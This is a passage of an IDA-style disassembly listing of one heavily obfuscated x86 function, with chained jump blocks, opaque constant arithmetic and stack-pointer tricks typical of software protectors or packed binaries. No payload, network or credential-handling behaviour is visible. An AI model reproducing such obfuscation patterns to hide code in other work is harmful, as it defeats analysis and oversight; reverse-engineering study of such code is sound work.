		and	edx, 706B053Eh
		not	edx
		sub	edx, 5BC1BCFDh
		jmp	loc_5B2A50
; ---------------------------------------------------------------------------


loc_5AD190:				; CODE XREF: sub_5A55E5+7381j
		push	ecx
		mov	ecx, esp
		jmp	loc_5B16CE
; ---------------------------------------------------------------------------


loc_5AD198:				; CODE XREF: sub_5A55E5+EE28j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+2Ch+var_2A+2]
		pop	ecx
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		push	ebp
		mov	ebp, 2C2A385Eh
		jmp	loc_5B17FE
; ---------------------------------------------------------------------------


loc_5AD1BA:				; CODE XREF: sub_5A55E5+18740j
		xchg	esi, [esp+28h+var_2A+2]
		pop	esp
		jmp	loc_5B21D0
; ---------------------------------------------------------------------------


loc_5AD1C3:				; CODE XREF: sub_5A55E5+10218j
		pop	edi
		jmp	loc_5B37B8
; ---------------------------------------------------------------------------


loc_5AD1C9:				; CODE XREF: sub_5A55E5+1958Cj
		add	edx, eax
		pop	eax
		jmp	loc_5AD3CC
; ---------------------------------------------------------------------------


loc_5AD1D1:				; CODE XREF: sub_5A55E5+135DDj
		add	eax, 7D600843h
		add	eax, ebx
		jmp	loc_5BA528
; ---------------------------------------------------------------------------


loc_5AD1DD:				; CODE XREF: sub_5A55E5+13A74j
		add	esp, 4
		push	edi
		jmp	loc_5B2F09
; ---------------------------------------------------------------------------


loc_5AD1E6:				; CODE XREF: sub_5A55E5+11F6Ej
		neg	bh
		jmp	loc_5BBAAF
; ---------------------------------------------------------------------------


loc_5AD1ED:				; CODE XREF: sub_5A55E5+E23Aj
		and	edx, 7A1B4A0Dh
		shl	edx, 4
		jmp	loc_5B4373
; ---------------------------------------------------------------------------


loc_5AD1FB:				; CODE XREF: sub_5A55E5+B4BBj
		add	edi, ecx
		push	esi
		mov	esi, 16291638h
		sub	edi, esi
		pop	esi
		push	edx
		mov	edx, 28614EAAh
		shl	edx, 6
		add	edx, 40E7F58h
		jmp	loc_5AD811
; ---------------------------------------------------------------------------


loc_5AD21A:				; CODE XREF: sub_5A55E5+A4D1j
		push	esi
		push	ecx
		jmp	loc_5AFCE4
; ---------------------------------------------------------------------------


loc_5AD221:				; CODE XREF: sub_5A55E5+14BEAj
		pop	esp
		add	[esp+24h+var_26+2], eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AD22B:				; CODE XREF: sub_5A55E5+A91Fj
		pop	edi
		xchg	ebp, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	word ptr [esp+24h+var_26+2], dx
		push	1F2Fh
		jmp	loc_5AA4BE
; ---------------------------------------------------------------------------


loc_5AD240:				; CODE XREF: sub_5A55E5+9813j
		mov	ecx, 789066DCh
		push	ebp
		mov	ebp, 0E0411CEh
		add	ebp, 0E874CE7h
		not	ebp
		jmp	loc_5B738B
; ---------------------------------------------------------------------------


loc_5AD258:				; CODE XREF: sub_5A55E5+14B0Aj
		sub	[esp+2Ch+var_2E+2], eax
		mov	eax, [esp+2Ch+var_2E+2]
		add	esp, 4
		add	eax, 0EC23A360h
		sub	esi, eax
		mov	eax, [esp+28h+var_2A+2]
		push	edi
		jmp	loc_5AA4C8
; ---------------------------------------------------------------------------


loc_5AD274:				; CODE XREF: sub_5A55E5+5176j
		pop	ebx
		and	eax, edi
		mov	edi, [esp+28h+var_2A+2]
		push	ebp
		jmp	$+5
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_5AB602
; ---------------------------------------------------------------------------


loc_5AD296:				; CODE XREF: sub_5A55E5+17933j
		pop	ebp
		jmp	loc_5B5243
; ---------------------------------------------------------------------------


loc_5AD29C:				; CODE XREF: sub_5A55E5+16536j
		mov	ebp, 241634AEh
		or	ebp, 2C46712Fh
		xor	ebp, 23DB7E59h
		sub	ebp, 0AFFD6F3Ch
		add	ebx, ebp
		jmp	loc_5B07A5
; ---------------------------------------------------------------------------


loc_5AD2BA:				; CODE XREF: sub_5A55E5+E19Ej
		push	esp
		jmp	loc_5B55CF
; ---------------------------------------------------------------------------


loc_5AD2C0:				; CODE XREF: sub_5A55E5+7552j
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		jmp	loc_5B30B7
; ---------------------------------------------------------------------------


loc_5AD2D6:				; CODE XREF: sub_5A55E5+4E0Fj
		add	esp, 4
		jmp	loc_5B4963
; ---------------------------------------------------------------------------


loc_5AD2DE:				; CODE XREF: sub_5A55E5+1309Aj
		neg	ebx
		sub	ebx, 1
		push	ecx
		mov	ecx, 6C331D5Ah
		push	edx
		mov	edx, 41415921h
		add	ecx, edx
		jmp	loc_5BEEB4
; ---------------------------------------------------------------------------


loc_5AD2F6:				; CODE XREF: sub_5A55E5+15B94j
		add	edi, 73F60D6h
		jmp	loc_5B7E4E
; ---------------------------------------------------------------------------


loc_5AD301:				; CODE XREF: sub_5A55E5+C7BBj
		mov	esi, 15CD6783h
		xor	esi, 370E64B2h
		neg	esi
		sub	esi, 5A2E4692h
		not	esi
		not	esi
		xor	esi, 0E904A395h
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esi
		sub	[esp+28h+var_2A+2], 3FC718FDh
		pop	edi
		push	ecx
		mov	ecx, 3FC718FDh
		add	edi, ecx
		mov	ecx, [esp+28h+var_2A+2]
		jmp	loc_5AC451
; ---------------------------------------------------------------------------


loc_5AD33F:				; CODE XREF: sub_5A55E5+9EE0j
		add	ebx, 56543596h
		jmp	loc_5B6EFF
; ---------------------------------------------------------------------------


loc_5AD34A:				; CODE XREF: sub_5A55E5+1100Aj
		xor	ecx, [esp+28h+var_2A+2]
		jmp	loc_5AEA48
; ---------------------------------------------------------------------------


loc_5AD352:				; CODE XREF: sub_5A55E5+178AEj
		sub	edi, 71AF1452h
		add	edi, 4FA65723h
		add	edi, 2E4772B1h
		sub	edi, 4052472Ch
		jmp	loc_5B9974
; ---------------------------------------------------------------------------


loc_5AD36F:				; CODE XREF: sub_5A55E5+C736j
		mov	ecx, 111A05D1h
		mov	edi, 111A05D1h
		sub	edi, 3A2D17E6h
		sub	edi, ecx
		jmp	loc_5B3126
; ---------------------------------------------------------------------------


loc_5AD386:				; CODE XREF: sub_5A55E5+CF94j
		add	esp, 4
		jmp	loc_5B7A84
; ---------------------------------------------------------------------------


loc_5AD38E:				; CODE XREF: sub_5A55E5+BC06j
		xor	[esp+24h+var_26+2], ebp
		xor	ebp, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	[esp+24h+var_26+2]
		push	[esp+28h+var_2A+2]
		mov	edx, [esp+2Ch+var_2E+2]
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebx
		mov	ebx, esp
		push	7BF6h
		mov	[esp+34h+var_36+2], edx
		mov	edx, 4
		jmp	loc_5B1300
; ---------------------------------------------------------------------------


loc_5AD3BA:				; CODE XREF: sub_5A55E5+14C2Fj
		pop	edx
		and	edi, ecx
		pop	ecx
		xor	edi, 70DE05E1h
		sub	esp, 4
		jmp	loc_5B177C
; ---------------------------------------------------------------------------


loc_5AD3CC:				; CODE XREF: sub_5A55E5+7BE7j
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		add	edx, 4
		push	0A9Fh
		mov	[esp+1Ch+var_1C], edx
		push	[esp+1Ch+var_18]
		push	[esp+20h+var_22+2]
		pop	edx
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_5BDD9C
; ---------------------------------------------------------------------------


loc_5AD409:				; CODE XREF: sub_5A55E5+9F47j
		shl	edx, 5
		jmp	loc_5B56D3
; ---------------------------------------------------------------------------


loc_5AD411:				; CODE XREF: sub_5A55E5+E11Ej
		pop	esi
		add	eax, 34EE0046h
		push	79CBh
		mov	[esp+1Ch+var_1C], ebx
		push	eax
		jmp	loc_5B8A88
; ---------------------------------------------------------------------------


loc_5AD425:				; CODE XREF: sub_5A55E5+11D87j
		push	12A2h
		jmp	loc_5B06FC
; ---------------------------------------------------------------------------


loc_5AD42F:				; CODE XREF: sub_5A55E5+18912j
		pop	ecx
		push	esi
		push	[esp+24h+var_22+2]
		pop	esi
		pop	[esp+24h+var_26+2]
		pop	esp
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 4
		add	ebp, eax
		push	[esp+1Ch+var_1C]
		push	[esp+20h+var_22+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		mov	edi, esp
		jmp	loc_5ADFB9
; ---------------------------------------------------------------------------


loc_5AD461:				; CODE XREF: sub_5A55E5+11797j
		mov	eax, 4
		push	edx
		mov	edx, 4A900BBEh
		jmp	loc_5BB303
; ---------------------------------------------------------------------------


loc_5AD471:				; CODE XREF: sub_5A55E5+6A5Dj
		mov	[esp+46h+var_46], eax
		jmp	loc_5B50FF
; ---------------------------------------------------------------------------


loc_5AD479:				; CODE XREF: sub_5A55E5+16836j
		pop	ebp
		jmp	loc_5BA3BB
; ---------------------------------------------------------------------------


loc_5AD47F:				; CODE XREF: sub_5A55E5+122DAj
		and	eax, edx
		pop	edx
		jmp	loc_5B0917
; ---------------------------------------------------------------------------


loc_5AD487:				; CODE XREF: sub_5A55E5+10EC6j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AD499:				; CODE XREF: sub_5A55E5+14B3Fj
		push	[esp+36h+var_36]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Ah+var_3A]
		pop	esp
		push	[esp+36h+var_36]
		pop	edx
		add	esp, 4
		jmp	loc_5BA331
; ---------------------------------------------------------------------------


loc_5AD4BC:				; CODE XREF: sub_5A55E5+14BE2j
		xchg	esi, [esp+32h+var_32]
		jmp	loc_5BBF43
; ---------------------------------------------------------------------------


loc_5AD4C4:				; CODE XREF: sub_5A55E5+140FDj
		xor	ecx, esi
		jmp	loc_5AD661
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AE5B1
; ---------------------------------------------------------------------------


loc_5AD4D1:				; CODE XREF: sub_5A55E5+839Fj
		mov	cl, 0E7h
		jmp	loc_5B1290
; ---------------------------------------------------------------------------


loc_5AD4D8:				; CODE XREF: sub_5A55E5+6EF8j
		push	eax
		jmp	loc_5B4BA9
; ---------------------------------------------------------------------------


loc_5AD4DE:				; CODE XREF: sub_5A55E5+1290Cj
		push	small 13F3h
		jmp	loc_5AFD68
; ---------------------------------------------------------------------------


loc_5AD4E7:				; DATA XREF: sub_5A55E5+430Fo
		push	ebp
		push	46CDh
		push	esp
		pop	[esp+20h+var_22+2]
		add	[esp+1Ch+var_1C], 4
		push	[esp+1Ch+var_1C]
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5B4DE7
; ---------------------------------------------------------------------------


loc_5AD506:				; CODE XREF: sub_5A55E5+10740j
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		jmp	loc_5B9871
; ---------------------------------------------------------------------------


loc_5AD513:				; CODE XREF: sub_5A55E5+1362Bj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5B8D09
; ---------------------------------------------------------------------------


loc_5AD521:				; CODE XREF: sub_5A55E5+E0C9j
		pop	esp
		push	[esp+18h+var_18]
		pop	edi
		add	esp, 4
		jmp	loc_5B2E7E
; ---------------------------------------------------------------------------


loc_5AD531:				; CODE XREF: sub_5A55E5+115F6j
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_5B60DC
; ---------------------------------------------------------------------------


loc_5AD53F:				; CODE XREF: sub_5A55E5+168F4j
		add	ecx, 299E389Dh
		add	ecx, 93EA669Ch
		sub	ebp, ecx
		pop	ecx
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		xchg	ebp, [esp+10h+var_10]
		jmp	loc_5BC4CB
; ---------------------------------------------------------------------------


loc_5AD55C:				; CODE XREF: sub_5A55E5+17F87j
		add	[esp+10h+var_10], 4
		pop	esi
		jmp	loc_5BD783
; ---------------------------------------------------------------------------


loc_5AD566:				; CODE XREF: sub_5A55E5+7109j
		sub	edi, esi
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		push	[esp+14h+var_14]
		pop	ecx
		add	esp, 4
		jmp	loc_5AD989
; ---------------------------------------------------------------------------


loc_5AD57D:				; CODE XREF: sub_5A55E5+D193j
		sub	ecx, 443C2DB4h
		sub	ecx, 43C617DAh
		jmp	loc_5BC5F0
; ---------------------------------------------------------------------------


loc_5AD58E:				; CODE XREF: sub_5A55E5+C1A5j
		neg	ebx
		add	ebx, 290D36EEh
		jmp	loc_5B9A64
; ---------------------------------------------------------------------------


loc_5AD59B:				; CODE XREF: sub_5A55E5+B635j
		pop	esp
		push	edx
		jmp	loc_5B68E4
; ---------------------------------------------------------------------------


loc_5AD5A2:				; CODE XREF: sub_5A55E5+115E6j
		add	ebp, 4
		jmp	loc_5AA00E
; ---------------------------------------------------------------------------


loc_5AD5AD:				; CODE XREF: sub_5A55E5+121F1j
		sub	edi, edx
		pop	edx
		add	ebx, edi
		jmp	loc_5B4CFE
; ---------------------------------------------------------------------------


loc_5AD5B7:				; CODE XREF: sub_5A55E5+C7ADj
		xor	esi, 2CA3701Fh
		or	esi, 0D296A7Eh
		sub	esi, 21A44A10h
		jmp	loc_5ADF11
; ---------------------------------------------------------------------------


loc_5AD5CE:				; CODE XREF: sub_5A55E5+140B0j
		pop	edi
		jmp	loc_5AEDF6
; ---------------------------------------------------------------------------


loc_5AD5D4:				; CODE XREF: sub_5A55E5+1568Ej
		pop	ebx
		add	ebp, 6F4F7BD9h
		jmp	loc_5BF4BA
; ---------------------------------------------------------------------------


loc_5AD5E0:				; CODE XREF: sub_5A55E5+8314j
		or	ebx, ebx
		jnz	loc_5AA382
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_5AE47C
; ---------------------------------------------------------------------------


loc_5AD5F1:				; CODE XREF: sub_5A55E5+B969j
		push	ebx
		push	[esp+10h+var_C]
		pop	ebx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		add	eax, 51FA1410h
		add	eax, ebx
		sub	eax, 51FA1410h
		add	eax, 12F3864h
		add	eax, 5ECF1225h
		push	ebx
		mov	ebx, 491A692Eh
		sub	ebx, 19732BBEh
		neg	ebx
		sub	ebx, 358620A8h
		shr	ebx, 6
		add	ebx, 5BDCEEB9h
		jmp	loc_5AA5D6
; ---------------------------------------------------------------------------


loc_5AD635:				; CODE XREF: sub_5A55E5+6D60j
		dec	esi
		xor	esi, 557821D8h
		push	esi
		inc	[esp+1Ch+var_1C]
		pop	esi
		not	esi
		dec	esi
		jmp	loc_5AAD49
; ---------------------------------------------------------------------------


loc_5AD649:				; CODE XREF: sub_5A55E5+734Fj
		pop	esi
		add	eax, 420E4EE9h
		sub	eax, ebx
		push	edx
		push	ebx
		push	1D6A4D3Ch
		pop	ebx
		shl	ebx, 5
		jmp	loc_5B87B0
; ---------------------------------------------------------------------------


loc_5AD661:				; CODE XREF: sub_5A55E5+7EE1j
		pop	esi
		not	ecx
		or	ecx, 709343A4h
		sub	esp, 4
		jmp	loc_5BBBB6
; ---------------------------------------------------------------------------


loc_5AD672:				; CODE XREF: sub_5A55E5+8BE8j
		sub	ebp, 79ED9F8h
		mov	esi, ebp
		pop	ebp
		and	esi, 5CA22E73h
		shl	esi, 5
		jmp	loc_5B1716
; ---------------------------------------------------------------------------


loc_5AD689:				; CODE XREF: sub_5A55E5+12F84j
		mov	esp, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], eax
		pushf
		jmp	loc_5AC95D
; ---------------------------------------------------------------------------


loc_5AD695:				; CODE XREF: sub_5A55E5+150ACj
		not	[esp+32h+var_32]
		jmp	loc_5B7EAB
; ---------------------------------------------------------------------------


loc_5AD69D:				; CODE XREF: sub_5A55E5+18D8Fj
		xchg	eax, [esp+32h+var_32]
		pop	esp
		mov	[esp+2Eh+var_2E], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		jmp	loc_5BBA92
; ---------------------------------------------------------------------------


loc_5AD6B9:				; CODE XREF: sub_5A55E5+18B45j
		mov	esi, ebp
		jmp	loc_5BE763
; ---------------------------------------------------------------------------


loc_5AD6C0:				; CODE XREF: sub_5A55E5+A23Aj
		xchg	eax, [esp+2Eh+var_2E]
		pop	esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp+2Ah+var_2A]
		jmp	loc_5AD8BD
; ---------------------------------------------------------------------------


loc_5AD6D5:				; CODE XREF: sub_5A55E5+B779j
		mov	edi, eax
		mov	eax, [esp+2Ah+var_2A]
		add	esp, 4
		push	edi
		xor	[esp+2Ah+var_2A], 6DF93634h
		pop	edx
		jmp	loc_5BC550
; ---------------------------------------------------------------------------


loc_5AD6EB:				; CODE XREF: sub_5A55E5+17D5Dj
		add	ecx, ebp
		push	edi
		jmp	loc_5B9CE9
; ---------------------------------------------------------------------------


loc_5AD6F3:				; CODE XREF: sub_5A55E5+19B97j
		mov	[esp+2Ah+var_2A], ebp
		mov	ebp, 4A4D3106h
		shl	ebp, 7
		xor	ebp, 7E200030h
		jmp	loc_5AFB68
; ---------------------------------------------------------------------------


loc_5AD709:				; CODE XREF: sub_5A55E5+17FE0j
		add	cl, bh
		mov	ebx, [esp+2Ah+var_2A]
		add	esp, 4
		push	cx
		jmp	loc_5B5232
; ---------------------------------------------------------------------------


loc_5AD71B:				; CODE XREF: sub_5A55E5+E009j
		push	eax
		push	ebp
		push	edi
		mov	edi, 64742768h
		jmp	loc_5B1997
; ---------------------------------------------------------------------------


loc_5AD728:				; CODE XREF: sub_5A55E5+4705j
		pop	esp
		add	esp, 4
		push	edi
		jmp	loc_5BC865
; ---------------------------------------------------------------------------


loc_5AD735:				; CODE XREF: sub_5A55E5+13B9Ej
		add	esp, 4
		push	ecx
		jmp	loc_5B5BCB
; ---------------------------------------------------------------------------


loc_5AD741:				; CODE XREF: sub_5A55E5+91F3j
		mov	ebp, 3B006414h
		and	ecx, ebp
		pop	ebp
		and	ecx, 9E07F38h
		jmp	loc_5BB8E7
; ---------------------------------------------------------------------------


loc_5AD754:				; CODE XREF: sub_5A55E5+A3C7j
		xchg	eax, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AD75F:				; CODE XREF: sub_5A55E5+11CE5j
		push	eax
		mov	eax, 0A6809FCh
		sub	eax, 42F0479Fh
		jmp	loc_5B998E
; ---------------------------------------------------------------------------


loc_5AD76F:				; CODE XREF: sub_5A55E5+5272j
		add	esi, 4
		push	ebp
		push	ecx
		mov	ecx, 2
		mov	ebp, ecx
		jmp	loc_5AAD75
; ---------------------------------------------------------------------------


loc_5AD783:				; CODE XREF: sub_5A55E5+CCAEj
		mov	esi, [esp+2Ah+var_2A]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Eh+var_2E]
		jmp	loc_5AE902
; ---------------------------------------------------------------------------


loc_5AD79D:				; CODE XREF: sub_5A55E5+169BFj
		push	edx
		mov	edx, 71285016h
		jmp	loc_5BEB51
; ---------------------------------------------------------------------------


loc_5AD7A8:				; CODE XREF: sub_5A55E5+14A9Fj
		push	ecx
		mov	ecx, 3F2D2B0Dh
		and	eax, ecx
		pop	ecx
		xor	eax, 0E0C9D245h
		xor	ebx, eax
		pop	eax
		add	esi, ebx
		mov	ebx, [esp+2Eh+var_2E]
		jmp	loc_5BF079
; ---------------------------------------------------------------------------
		neg	word ptr [esp+2Eh+var_2E]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AD7CD:				; CODE XREF: sub_5A55E5+168B1j
		mov	[esp+32h+var_32], ebp
		sub	esp, 4
		mov	[esp+36h+var_36], eax
		mov	eax, 3E9A2F52h
		push	eax
		add	[esp+3Ah+var_3A], 24EC263Ch
		jmp	loc_5B4D38
; ---------------------------------------------------------------------------


loc_5AD7EB:				; CODE XREF: sub_5A55E5+14EA6j
		push	6BFC7218h
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		push	ebx
		mov	ebx, 28926246h
		dec	ebx
		push	ebp
		jmp	loc_5B4F37
; ---------------------------------------------------------------------------


loc_5AD803:				; DATA XREF: sub_5A55E5+42F3o
		pop	dword ptr [edi+40h]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AD80B:				; CODE XREF: sub_5A55E5+76F7j
		push	ebp
		jmp	loc_5BD32B
; ---------------------------------------------------------------------------


loc_5AD811:				; CODE XREF: sub_5A55E5+7C30j
		sub	edx, 4B7653BBh
		not	edx
		shr	edx, 8
		sub	edx, 0A3860449h
		shr	edx, 7
		sub	edx, 16B1256Fh
		sub	edx, 0FFFFFFFFh
		inc	edx
		shl	edx, 5
		push	ecx
		mov	ecx, 408C355Dh
		sub	ecx, 6A8B2206h
		or	ecx, 29215FE8h
		sub	ecx, 0E404F2CBh
		sub	edx, 3EED7AFDh
		sub	edx, 587440Ah
		jmp	loc_5BD0D4
; ---------------------------------------------------------------------------


loc_5AD85E:				; CODE XREF: sub_5A55E5+19EE9j
		push	esi
		push	ebx
		mov	ebx, 6CFF28A3h
		mov	esi, ebx
		mov	ebx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	0
		sub	[esp+2Ch+var_2E+2], esi
		mov	esi, [esp+2Ch+var_2E+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_32+2]
		jmp	loc_5AECCF
; ---------------------------------------------------------------------------


loc_5AD890:				; CODE XREF: sub_5A55E5+13876j
		pop	dx
		push	ecx
		jmp	loc_5AF74B
; ---------------------------------------------------------------------------


loc_5AD898:				; CODE XREF: sub_5A55E5+12E08j
		push	ax
		mov	ah, 5Dh
		push	bx
		mov	bh, 82h
		sub	ah, bh
		pop	bx
		dec	ah
		shl	ah, 1
		sub	ah, 6Fh
		sub	bl, 73h
		sub	bl, ah
		add	bl, 73h
		pop	ax
		sub	bl, 0
		jmp	loc_5BD1D6
; ---------------------------------------------------------------------------


loc_5AD8BD:				; CODE XREF: sub_5A55E5+80EBj
		mov	esp, [esp+2Ah+var_2A]
		sub	[esp+2Ah+var_2A], eax
		pushf
		jmp	loc_5B77DB
; ---------------------------------------------------------------------------


loc_5AD8C9:				; CODE XREF: sub_5A55E5+D509j
		pop	esp
		and	ecx, edi
		mov	edi, [esp+2Ah+var_2A]
		add	esp, 4
		add	ecx, 0E2201BA9h
		sub	edx, ecx
		jmp	loc_5B1078
; ---------------------------------------------------------------------------


loc_5AD8E2:				; CODE XREF: sub_5A55E5+11991j
		xchg	ecx, [esp+26h+var_26]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		and	ebx, edi
		pop	edi
		jmp	loc_5AD5E0
; ---------------------------------------------------------------------------


loc_5AD8FE:				; CODE XREF: sub_5A55E5+DDDEj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		mov	dh, 0F0h
		shl	dh, 4
		push	ebx
		mov	bh, 8Ah
		sub	bh, 0FCh
		add	dh, 1Bh
		sub	dh, bh
		sub	dh, 1Bh
		pop	ebx
		mov	cl, dh
		jmp	loc_5B5729
; ---------------------------------------------------------------------------


loc_5AD929:				; CODE XREF: sub_5A55E5+83EEj
		add	esp, 2
		add	al, 0C8h
		add	al, ch
		sub	al, 0C8h
		mov	ecx, [esp+16h+var_18+2]
		jmp	loc_5B14EE
; ---------------------------------------------------------------------------


loc_5AD93A:				; CODE XREF: sub_5A55E5+127E3j
		neg	esi
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_5AE53E
; ---------------------------------------------------------------------------


loc_5AD947:				; CODE XREF: sub_5A55E5+4F56j
		xor	esi, 6D8790C3h
		sub	eax, esi
		pop	esi
		add	eax, 5A5504CEh
		sub	edx, 79814A3Ah
		add	edx, eax
		add	edx, 79814A3Ah
		jmp	loc_5B9BCA
; ---------------------------------------------------------------------------


loc_5AD968:				; CODE XREF: sub_5A55E5+13EB7j
		pop	esp
		push	3931h
		mov	[esp+56h+var_58+2], edx
		push	5FCCh
		mov	[esp+5Ah+var_5C+2], esi
		mov	esi, 1
		jmp	loc_5B2669
; ---------------------------------------------------------------------------


loc_5AD983:				; CODE XREF: sub_5A55E5+1906Cj
		push	ecx
		jmp	loc_5AD4D1
; ---------------------------------------------------------------------------


loc_5AD989:				; CODE XREF: sub_5A55E5+7F93j
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+10h+var_10]
		jmp	loc_5B2E70
; ---------------------------------------------------------------------------
		mov	ecx, [esp+10h+var_10]
		jmp	loc_5B5C9E
; ---------------------------------------------------------------------------


loc_5AD9A2:				; DATA XREF: sub_5A55E5+422Bo
		mov	cx, word ptr [esp+14h+var_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5AA434
; ---------------------------------------------------------------------------


loc_5AD9B7:				; CODE XREF: sub_5A55E5+10CEBj
		mov	bl, 0CCh
		mov	al, bl
		pop	ebx
		xor	ch, al
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		not	ch
		push	dx
		mov	dl, 9Bh
		add	ch, dl
		mov	dx, word ptr [esp+12h+var_14+2]
		jmp	loc_5AD929
; ---------------------------------------------------------------------------


loc_5AD9D8:				; CODE XREF: sub_5A55E5+D911j
		add	esp, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp+12h+var_14+2], esi
		push	[esp+12h+var_10+2]
		mov	esi, [esp+16h+var_18+2]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 3F8F6730h
		neg	esi
		or	esi, 613340A6h
		or	esi, 55DE5458h
		shr	esi, 3
		sub	esi, 1EBFFB9Bh
		sub	edx, 1AC34EE9h
		add	edx, esi
		add	edx, 1AC34EE9h
		pop	esi
		jmp	loc_5AC427
; ---------------------------------------------------------------------------


loc_5ADA22:				; CODE XREF: sub_5A55E5+EB6Bj
		pop	ebx
		add	[esp+16h+var_14+2], edi
		pop	edi
		pop	esi
		push	ebp
		jmp	loc_5BA5C3
; ---------------------------------------------------------------------------


loc_5ADA2F:				; CODE XREF: sub_5A55E5+14903j
		add	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		sub	esp, 4
		mov	[esp+12h+var_14+2], ecx
		push	ebx
		push	ecx
		jmp	loc_5BB800
; ---------------------------------------------------------------------------


loc_5ADA49:				; CODE XREF: sub_5A55E5+18E68j
		pop	edx
		push	edi
		push	esp
		jmp	loc_5AA02B
; ---------------------------------------------------------------------------


loc_5ADA51:				; CODE XREF: sub_5A55E5+B112j
		pop	dword ptr [esp+0]
		pop	ebx
		jmp	loc_5AC477
; ---------------------------------------------------------------------------


loc_5ADA5A:				; DATA XREF: sub_5A55E5+423Bo
		lodsd
		jmp	loc_5B748B
; ---------------------------------------------------------------------------


loc_5ADA60:				; CODE XREF: sub_5A55E5+15D0Cj
		mov	word ptr [esp+14h+var_14], dx
		jmp	loc_5B5DBE
; ---------------------------------------------------------------------------


loc_5ADA69:				; CODE XREF: sub_5A55E5+B36Cj
		and	ebp, 39846077h
		add	ebp, 9259AA89h
		jmp	loc_5AC568
; ---------------------------------------------------------------------------


loc_5ADA7A:				; CODE XREF: sub_5A55E5+D0E1j
		push	eax
		mov	eax, 36F878ACh
		push	edi
		mov	edi, 4B2659A5h
		add	edi, 0E64BC9D6h
		add	eax, edi
		pop	edi
		push	edi
		push	esi
		mov	esi, 47B33E5Dh
		xor	esi, 2D6E2D42h
		mov	edi, esi
		jmp	loc_5B109F
; ---------------------------------------------------------------------------


loc_5ADAA3:				; CODE XREF: sub_5A55E5+18B4Bj
		sub	esp, 4
		mov	[esp+24h+var_26+2], edi
		mov	edi, esp
		jmp	loc_5BA77C
; ---------------------------------------------------------------------------


loc_5ADAB0:				; CODE XREF: sub_5A55E5+1441Fj
		add	edx, 4
		jmp	loc_5B0865
; ---------------------------------------------------------------------------


loc_5ADABB:				; CODE XREF: sub_5A55E5+BF49j
		push	edi
		xchg	esi, [esp+28h+var_2A+2]
		not	esi
		xchg	esi, [esp+28h+var_2A+2]
		pop	edi
		push	ebx
		mov	ebx, 432E30D8h
		shl	ebx, 8
		inc	ebx
		or	ebx, 1D36323Ch
		xor	ebx, 152EC58h
		jmp	loc_5BD2AB
; ---------------------------------------------------------------------------


loc_5ADAE0:				; CODE XREF: sub_5A55E5+13D2Bj
		sub	[esp+28h+var_2A+2], edx
		pop	edx
		jmp	loc_5BD115
; ---------------------------------------------------------------------------


loc_5ADAE9:				; CODE XREF: sub_5A55E5+1149Aj
		add	esp, 2
		shr	bl, 6
		jmp	loc_5B4068
; ---------------------------------------------------------------------------


loc_5ADAF4:				; CODE XREF: sub_5A55E5+1810Fj
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5AC3F0
; ---------------------------------------------------------------------------


loc_5ADB02:				; CODE XREF: sub_5A55E5+15F83j
